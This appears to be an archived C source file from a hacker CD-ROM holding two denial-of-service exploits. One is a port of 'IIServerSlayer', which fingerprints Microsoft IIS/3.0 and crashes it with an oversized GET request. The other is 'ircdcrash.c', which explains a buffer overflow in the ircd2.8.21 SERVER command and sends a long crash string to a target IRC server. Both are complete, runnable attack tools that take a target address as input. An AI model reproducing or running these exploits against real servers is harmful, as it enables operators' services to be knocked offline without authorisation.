home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / ircd_kill.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  8KB  |  253 lines

  1. /* Some days ago I found the page http://www.eden.com/~tfast/jihad.html
  2.    Then I found the java program IIServerSlayer.class made by
  3.    Todd Fast <tfast@eden.com>, the author of the web pages.
  4.    Now I have ported that program in gcc from java using strace and
  5.    disassembling IIServerSlayer.class with javap (part of jdk).
  6.  
  7.    For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2
  8.    and glibc.
  9.                 by Andrea Arcangeli <arcangeli@mbox.queen.it> */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <netdb.h>
  15. #include <netinet/in.h>
  16. #include <sys/socket.h>
  17. #include <unistd.h>
  18. #include <arpa/inet.h>
  19. #include <signal.h>
  20.  
  21. int s;
  22. struct sockaddr_in addr, spoofedaddr;
  23. struct hostent *host;
  24.  
  25. int open_sock(int sock, char *server, int port) {
  26.   struct sockaddr_in blah;
  27.   struct hostent *he;
  28.   bzero((char *)&blah,sizeof(blah));
  29.   blah.sin_family=AF_INET;
  30.   blah.sin_port=htons(port);
  31.   if ((he = gethostbyname(server)) != NULL) {
  32.     bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  33.   }
  34.   else {
  35.     if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
  36.       perror("gethostbyname()");
  37.       return(2);
  38.     }
  39.   }
  40.   if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
  41.     perror("connect()");
  42.     close(sock);
  43.     return(3);
  44.   }
  45.   return 0;
  46. }
  47.  
  48. char *generate_die_string(int lenght) {
  49.   char letter='X';
  50.   char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
  51.   int i;
  52.   str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
  53.   strcpy(str,str_begin);
  54.   for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
  55.   str[i]=0;
  56.   strcat(str,str_end);
  57.   return (char *)str;
  58. }
  59.  
  60. void IIServerSlayer(char *target,int lenght,int port,int flags) {
  61.   char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
  62.   char *IIS_patch = "Bad Request";
  63.   int count = 0,return_status;
  64.   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  65.     perror("socket()");
  66.     exit(1);
  67.   }
  68.   if((return_status = open_sock(s,target,port))) exit(return_status);
  69.   if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);
  70.   else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"
  71.               ,target);
  72.   send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
  73.   printf("Waiting for the reply from %s\n",target);
  74.   buff[1]=0;
  75.   while(recv(s,buff,1,0) == 1) {
  76.     if(flags & 1) printf("%s",buff);
  77.     else if(!div(count,50).rem) printf(".");
  78.     if(count < 511) header[count]=buff[0];
  79.     count++;
  80.   }
  81.   printf("\n");
  82.   header[511]=0;
  83.   if(strstr(header,IIS_string) == NULL && lenght == 0) {
  84.     printf("This is not a Microsoft-IIS/3.0 web server\n");
  85.     if(!(flags & 2)) exit(0);
  86.   }
  87.   else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");
  88.   if(strstr(header,IIS_patch) != NULL) {
  89.     printf("This IIS/3.0 web server is patched against this exploit\n");
  90.     if(!(flags & 2)) exit(0);
  91.   }
  92.   close(s);
  93. }
  94.  
  95. void main(int argc,char **argv)
  96. {
  97.   int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
  98.   if (argc < 2 ) {
  99.     printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
  100.     printf("[-v] = verbose mode to view the server reply\n");
  101.     printf("[-f] = force running over non or patched IIS/3.0 web server\n");
  102.     exit(0);
  103.   }
  104.   for(i=1;i<argc;i++) {
  105.     if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
  106.     if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
  107.   }
  108.   if(argc > param+2) lenght = atoi(argv[param+2]);
  109.   if(argc > param+3) port = atoi(argv[param+3]);
  110.   for(i=0;i<3;i++,lenght++) {
  111.     if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
  112.     else IIServerSlayer(argv[param+1],0,port,flags);
  113.     if(i == 1 || i == 0) lenght--;
  114.   }
  115.   if((pid = fork())) {
  116.     if(pid == -1) {
  117.       perror("I can' t fork\n");
  118.       exit(-1);
  119.     }
  120.     usleep(60000000); /* wait for 1 minute */
  121.     kill(pid,SIGTERM);
  122.   }
  123.   else {
  124.     IIServerSlayer(argv[param+1],lenght,port,flags);
  125.     printf("Sorry, %s is alive yet\n",argv[param+1]);
  126.   }
  127.   exit(0);
  128. }
  129.  
  130.  
  131.  
  132.  
  133. ---------------------------------------------------------------------
  134.  
  135.  
  136.  
  137. /* ircdcrash.c by fx of nnh (aaron@ug.cs.dal.ca)
  138.  *
  139.  * Shouts out to: Punisher, TCroc, NC, gg, A-Flat, DBN3 crew.
  140.  *
  141.  * Thanks to Andy Church for addressing this problem on Bugtraq.
  142.  *
  143.  * There is a buffer overflow condition in the ircd/s_serv.c file of the
  144.  * ircd2.8.21 distribution and most likely exists in other versions. It is
  145.  * possible to exploit this by sending a very long string as the third
  146.  * parameter (<info>) to the SERVER command. Nothing particularly fancy here,
  147.  * this program will just attempt to segfault the daemon. Here is the syntax
  148.  * of the SERVER command:
  149.  *
  150.  * SERVER <servername> <hopcount> <info>
  151.  *
  152.  * Here is the offending code, out of the m_server function:
  153.  *
  154.  *       if (parc > 3 && atoi(parv[2]))
  155.  *          {
  156.  *              hop = atoi(parv[2]);
  157.  *              (void)strncpy(info, parv[3], REALLEN);
  158.  *          }
  159.  *       else if (parc > 2)
  160.  *          {
  161.  *              (void)strncpy(info, parv[2], REALLEN);
  162.  *              if (parc > 3)
  163.  *                  {
  164.  *                              i = strlen(info);
  165.  *                              (void)strncat(info, " ", REALLEN - i - 1);
  166.  *                              (void)strncat(info, parv[3], REALLEN - i - 2);
  167.  *                  }
  168.  *
  169.  * REALLEN is defined to be 50 in include/struct.h. Notice that in order for
  170.  * the second (and therefore third) if() statement to be executed,
  171.  * atoi(parv[2]) must NOT return a value. This means we must not send
  172.  * numeric characters as the second parameter (<hopcount>), but we must send
  173.  * 50 characters to ensure REALLEN - i - 2 will be less then 0.
  174.  *
  175.  * See Andy Church's post on Bugtraq for a patch.
  176.  *
  177.  */
  178.  
  179. #include <stdio.h>
  180. #include <stdlib.h>
  181. #include <string.h>
  182. #include <strings.h>
  183. #include <unistd.h>
  184. #include <arpa/inet.h>
  185. #include <netdb.h>
  186. #include <netinet/in.h>
  187. #include <sys/uio.h>
  188. #include <sys/time.h>
  189. #include <sys/types.h>
  190. #include <sys/socket.h>
  191. #include <sys/wait.h>
  192.  
  193. int main(int argc, char *argv[])
  194. {
  195.         char *str;
  196.         int i, port = 6667, soc;
  197.         struct sockaddr_in their_addr;
  198.  
  199.         /* open a socket for connecting */
  200.         if ( (soc = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
  201.                 perror("socket");
  202.                 exit(0);
  203.         }
  204.  
  205.         if ( argc < 2 ) {
  206.                 printf("Usage: %s <ip_of_irc_server> <port>\n", argv[0]);
  207.                 exit(1);
  208.         }
  209.         else
  210.                 if ( argc > 2 )
  211.                         port = atoi(argv[2]);
  212.  
  213.         /* fill-in target address struct */
  214.         their_addr.sin_family = AF_INET;
  215.         their_addr.sin_port = htons(port);
  216.         their_addr.sin_addr.s_addr = inet_addr(argv[1]);
  217.         bzero(&(their_addr.sin_zero),8);
  218.  
  219.         /* copy data into our string */
  220.         str = (char *)malloc(4096);
  221.         strcpy(str, "SERVER warez.blackdown.org aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa :[");
  222.  
  223.         printf("\nCreating string to send... Wait a sec...\n");
  224.  
  225.         for (i = 0; i < 4000; i++)
  226.                 strcat(str, "o");
  227.         strcat(str, "]\n");
  228.  
  229.         /* connect to target server */
  230.         if ( connect(soc, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) < 0 )        {
  231.                 perror("connect");
  232.                 exit(1);
  233.         }
  234.         else    {
  235.  
  236.                 /* server might have something to say... wait... */
  237.                 printf("Wait... Server might be talking to us...\n");
  238.                 sleep(8);
  239.  
  240.                 /* send string */
  241.                 printf("Sending crash string...");
  242.                 if ( send(soc, str, strlen(str), 0) < 0 )       {
  243.                         perror("send");
  244.                         exit(1);
  245.                 }
  246.  
  247.                 /* finished */
  248.                 printf("Done!\n\n");
  249.                 close(soc);
  250.                 return(1);
  251.         }
  252. }
  253.